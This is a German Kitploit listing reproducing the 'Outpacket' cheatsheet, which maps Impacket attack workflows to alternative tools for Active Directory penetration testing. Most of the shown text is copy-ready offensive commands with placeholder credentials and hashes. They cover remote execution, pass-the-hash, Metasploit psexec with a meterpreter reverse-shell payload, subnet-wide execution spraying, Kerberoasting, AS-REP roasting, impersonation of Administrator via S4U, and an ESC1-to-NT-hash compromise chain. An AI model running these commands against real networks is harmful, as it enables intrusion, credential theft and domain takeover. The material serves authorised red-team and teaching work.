Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Outpacket — Dieses Cheatsheet ordnet gängige Impacket-Workflows ihren modernen Alternativen zu. | Kitploit
Tools/GitHubGitHub/n00py/outpacket
PasswortangriffeLaterale BewegungInformationsbeschaffungPost-ExploitationPenetrationstestsAuthentifizierungLernen & BildungRed TeamingKuratierte Ressourcen
GitHubn00py/outpacket

Outpacket

Dieses Cheatsheet ordnet gängige Impacket-Workflows ihren modernen Alternativen zu.

302235vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

📦 Outpacket

Genug von impacket? Dieses Cheatsheet ordnet gängige impacket-Workflows ihren modernen Alternativen zu.


Inhaltsverzeichnis

  • Auth-Schnellreferenz
  • 1. Remote-Ausführung
    • WMI Exec · wmiexec.py
    • DCOM Exec · dcomexec.py
    • Dienstbasierte Ausführung · smbexec.py · psexec.py
    • Geplante Aufgaben-Ausführung · atexec.py
    • Massenausführung · wmiexec.py · psexec.py
  • 2. Kerberos
    • TGT anfordern · getTGT.py
    • TGS anfordern · getST.py
    • S4U2self / S4U2proxy · getST.py -impersonate
    • Kerberoasting · GetUserSPNs.py
    • AS-REP Roasting · GetNPUsers.py
    • ccache Roasting
    • Pre-Auth / Enc-Type-Test · GetNPUsers.py
    • PKINIT-NT-Hash-Wiederherstellung
    • Ticket-Verlängerung · getST.py -renew
    • Ticket-Format-Konvertierung · ticketConverter.py
    • Passwort ändern · changepasswd.py
    • Golden / Silver Ticket · ticketer.py
  • 3. SMB / Dateioperationen
    • Freigaben auflisten · smbclient.py -shares
    • Dateien durchsuchen / auflisten · smbclient.py
    • Datei herunterladen · smbclient.py get
    • Download mit Backup-Semantik
    • Datei hochladen · smbclient.py put
    • Verzeichnisse und Dateien erstellen / entfernen · smbclient.py
    • Benannte Pipes auflisten · smbclient.py
    • Pass the Hash — SMB · smbclient.py -hashes
    • SMB über SOCKS5 · proxychains smbclient.py
    • Offene Dateien / Sitzungen auflisten · netview.py
    • Remote-Datei-Timestomping
    • VSS-Snapshot-Aufzählung · smbclient.py list_snapshots
  • 4. Credential-Dumping
    • LSASS-Minidump-Parsing
    • SAM-Hashes auslesen · secretsdump.py -sam
    • LSA-Secrets auslesen · secretsdump.py -lsa
    • SAM + LSA gemeinsam auslesen · secretsdump.py
    • Massen-SAM-/LSA-Dump · secretsdump.py
    • NTDS-Dump per VSS-Snapshot · secretsdump.py -use-vss
    • NTDS-Dump per IFM · wmiexec.py · smbclient.py
    • NTDS-Dump per wbadmin · wmiexec.py
    • NTDS-Dump per Diskshadow · wmiexec.py · smbclient.py
    • NTDS-Dump per Kerb-Key-List ·
  • 5. Enumeration
    • Domänenbenutzer (SAMR) · samrdump.py · net.py
    • Gruppen / lokale Aliase · net.py group · net.py localgroup
    • SID-Brute-Force / Lookup · lookupsid.py
    • RPC-Endpunkte · rpcdump.py · rpcmap.py
    • WMI abfragen · wmiquery.py
    • WMI-Methodenaufruf · wmiexec.py
    • Remote-Registry · reg.py
    • Sicherheitsdeskriptor des Registrierungsschlüssels
    • Dienst-Enumeration · services.py
  • 6. Active Directory / LDAP
    • AD-Benutzer / -Computer auflisten · GetADUsers.py · GetADComputers.py
    • GPO- und Domänenvertrauens-Enumeration · ldapsearch · bloodyAD
    • Delegierungskonfigurationen finden · findDelegation.py
    • Computerkonto hinzufügen · addcomputer.py
    • Benutzerkonto hinzufügen · net.py user -add
    • RBCD festlegen · rbcd.py
    • DACL-Missbrauch · dacledit.py · owneredit.py
    • Benutzerattribut-Modifikation (UAC) · net.py
  • 7. Auth-Erzwingung · printerbug.py · dfscoerce.py
    • Coerce- und Relay-Muster · ntlmrelayx.py · smbserver.py (Erfassung)
  • 8. Zertifikate
    • Generierung selbstsignierter PFX
    • ADCS-Vorlagen-Enumeration · netexec ldap -M adcs
    • ADCS ESC1
  • 9. Exotisches Credential-Harvesting
    • certsync — Golden Cert + UnPAC the Hash
    • DPAPI-Domänen-Backup-Schlüssel — Massen-Entschlüsselung von Anmeldedaten

Auth-Schnellreferenz

⚠️ Titanis-ccache-Hinweis: -Tgt lehnt derzeit von impacket (getTGT.py) und ähnlichen Tools erzeugte ccache-Dateien ab. Ursache: impacket codiert den TGT-Dienstprinzipal als NT_PRINCIPAL (Name-Typ 1); Titanis erwartet NT_SERVICE_INSTANCE (Name-Typ 2) und erkennt das Ticket deshalb nicht als TGT. Ein Fix des Titanis-Entwicklers ist ausstehend, um diese Prüfung zu lockern. Verwenden Sie bis dahin Kerb asreq -TicketCache, um ein Titanis-natives TGT zu erhalten, und übergeben Sie es über -Tgt. Außerdem liefert -TicketCache stillschweigend keinen Auth-Kontext für nicht-native ccache-Dateien – verwenden Sie stattdessen -Tgt (mit einer von Titanis erzeugten Datei). Für impacket/Metasploit-ccache-Dateien verwenden Sie direkt KRB5CCNAME + wmiexec.py -k / smbclient.py -k.


1. Remote-Ausführung

WMI Exec```bash

impacket

wmiexec.py DOMAIN/jdoe:[email protected] "whoami"

gopacket — password (interactive semi-shell)

wmiexec DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"

Titanis

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"

impacket — pass-the-hash

wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"

gopacket — pass-the-hash

wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"

Titanis — pass-the-hash

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"

impacket — Kerberos

wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"

gopacket — Kerberos (must use FQDN domain; FQDN hostname as target)

KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]

Titanis — Kerberos

Use the short hostname as target (for Kerberos SPN + application protocol);

use -ha for the actual TCP connection (IP or FQDN). FQDNs as the target fail

because the server expects the short hostname in the WMI activation request.

Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"

Titanis — Kerberos with ccache TGT (Titanis-generated only; see TicketCache note)

Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — CLSID-Lookup-Vorgehensweise:**
> - **Die ProgID-Auflösung erfolgt lokal.** Titanis löst ProgIDs (z. B. `MMC20.Application`) aus der Registry des Angreifers auf, nicht aus der des Ziels. Unter Linux gibt es keine Registry, anhand derer aufgelöst werden kann; unter Windows kann sich die CLSID des Angreifers von der des Ziels unterscheiden. Verwenden Sie immer `Reg`, um die tatsächliche CLSID auf dem entfernten System nachzuschlagen, und übergeben Sie dann die rohe GUID.
> - **Durchlaufen der Eigenschaftskette** (v0.9.20260320+): Dcom invoke unterstützt jetzt gepunktete Eigenschaftspfade wie `Document.ActiveView.ExecuteShellCommand` und durchläuft die IDispatch-Kette automatisch. MMC20.Application funktioniert. ShellWindows `Item()` funktioniert nicht — es erfordert ein Indexargument, das die Kettensyntax nicht übergeben kann.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

↑ Zurück zum Index


Dienstbasierte Ausführung (smbexec / psexec)

⚠️ smbexec.py gegen DCs: smbexec.py schlägt gegen Domain Controller mit STATUS_OBJECT_NAME_NOT_FOUND fehl, wenn \pipe\svcctl geöffnet wird. DCs sind bei den Öffnungsparametern für Named Pipes strenger als Mitgliedsserver – die Flags von smbexec werden abgelehnt, während die von services.py akzeptiert werden. Verwenden Sie services.py für die Dienstverwaltung auf DCs oder wmiexec.py für die Remote-Ausführung.```bash

impacket — smbexec (interactive semi-shell; works against member servers)

smbexec.py DOMAIN/jdoe:[email protected]

gopacket — smbexec (interactive semi-shell; runs as NT AUTHORITY\SYSTEM)

smbexec DOMAIN/jdoe:[email protected]

gopacket — smbexec pass-the-hash

smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — psexec

psexec.py DOMAIN/jdoe:[email protected] cmd.exe

gopacket — psexec (uploads service binary, runs as NT AUTHORITY\SYSTEM)

psexec DOMAIN/jdoe:[email protected]

gopacket — psexec pass-the-hash

psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

Metasploit — password

msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=

Metasploit — pass-the-hash

msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=

Titanis — create service, retrieve output, clean up

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Geplante Aufgabenausführung

> **Hinweis:** MS-TSCH ist in Titanis noch nicht implementiert. Verwenden Sie `Win32_ScheduledJob` über WMI als Workaround oder `atexec.py` für echte MS-TSCH-Semantik.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

↑ Zurück zum Index


Stapelweise Remote-Ausführung über mehrere Hosts```bash

NetExec — spray across a subnet

netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"

NetExec — pass-the-hash spray

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"

Titanis — loop over a host list

while IFS= read -r host; do echo "=== $host ===" >> exec_results.txt wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Zurück zum Index](#index)

---

## 2. Kerberos

### TGT anfordern```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

↑ Zurück zum Index


Ein Service-Ticket anfordern (TGS)```bash

impacket

getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

Metasploit

msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS

minikerberos (requires existing ccache)

minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache

Titanis

Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi

gopacket — password

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Zurück zum Index


Kerberoasting```bash

impacket

GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123

Metasploit

msf6 > use auxiliary/gather/get_user_spns msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123

Metasploit — pass-the-hash

msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt

minikerberos

minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

minikerberos — NTLM hash

minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

pypykatz

pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

pypykatz — NTLM hash

pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> kerberoast kerberoast_hashes.txt

Titanis — enumerate SPNs, get TGT, loop tgsreq per SPN, extract hashes

Use Ldap query (not Ldap search) — requires -FollowReferrals on Linux

-OutputFields takes one field at a time on Linux; use -OutputStyle List to get multiple attrs

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi while IFS= read -r spn; do safe=$(echo "$spn" | tr '/:@' '') kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast
${safe}.kirbi" done < spns.txt Kerb select -From roast_
.kirbi -Into kerberoast-all.ccache minikerberos-ccacheroast kerberoast-all.ccache

gopacket — password (requires -port 389; default 445 breaks LDAP enumeration)

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

↑ Zurück zum Index


ccache Roasting (offline)

Extrahiert $krb5tgs$-Hashes aus gestohlenen ccache-Dateien, ohne erneut etwas anzufordern.```bash

minikerberos

minikerberos-ccacheroast stolen.ccache

pypykatz

pypykatz kerberos ccache roast stolen.ccache

Feed output to: hashcat -m 13100 or john --format=krb5tgs

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Pre-Auth / Enc-Type Probe```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

↑ Zurück zum Index


PKINIT NT-Hash-Wiederherstellung (UnPAC)

Stellt den NT-Hash eines Kontos über PKINIT wieder her, nachdem ein Zertifikat erhalten wurde.```bash

certipy — certificate → NT hash + TGT (most direct; also outputs ccache)

certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

certipy — specify username explicitly (useful when UPN in cert differs)

certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1

minikerberos — certificate → NT hash only

minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt

PKINITtools — gettgtpkinit.py: PFX → TGT ccache + prints AS-REP enc key

python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache

PKINITtools — getnthash.py: TGT ccache + AS-REP enc key → NT hash

(run after gettgtpkinit.py; use the AS-REP key printed by that tool)

export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser

Full chain: certipy ESC1 → PFX → minikerberos UnPAC → NT hash → Titanis PTH

certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Ticket-Erneuerung```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

↑ Zurück zum Index


Ticketformat-Konvertierung```bash

impacket

ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache

Metasploit

msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi

Metasploit — inspect ticket (optionally decrypt)

msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

minikerberos

minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache

Titanis — merge multiple files

Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache

gopacket — ccache ↔ kirbi conversion

ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache

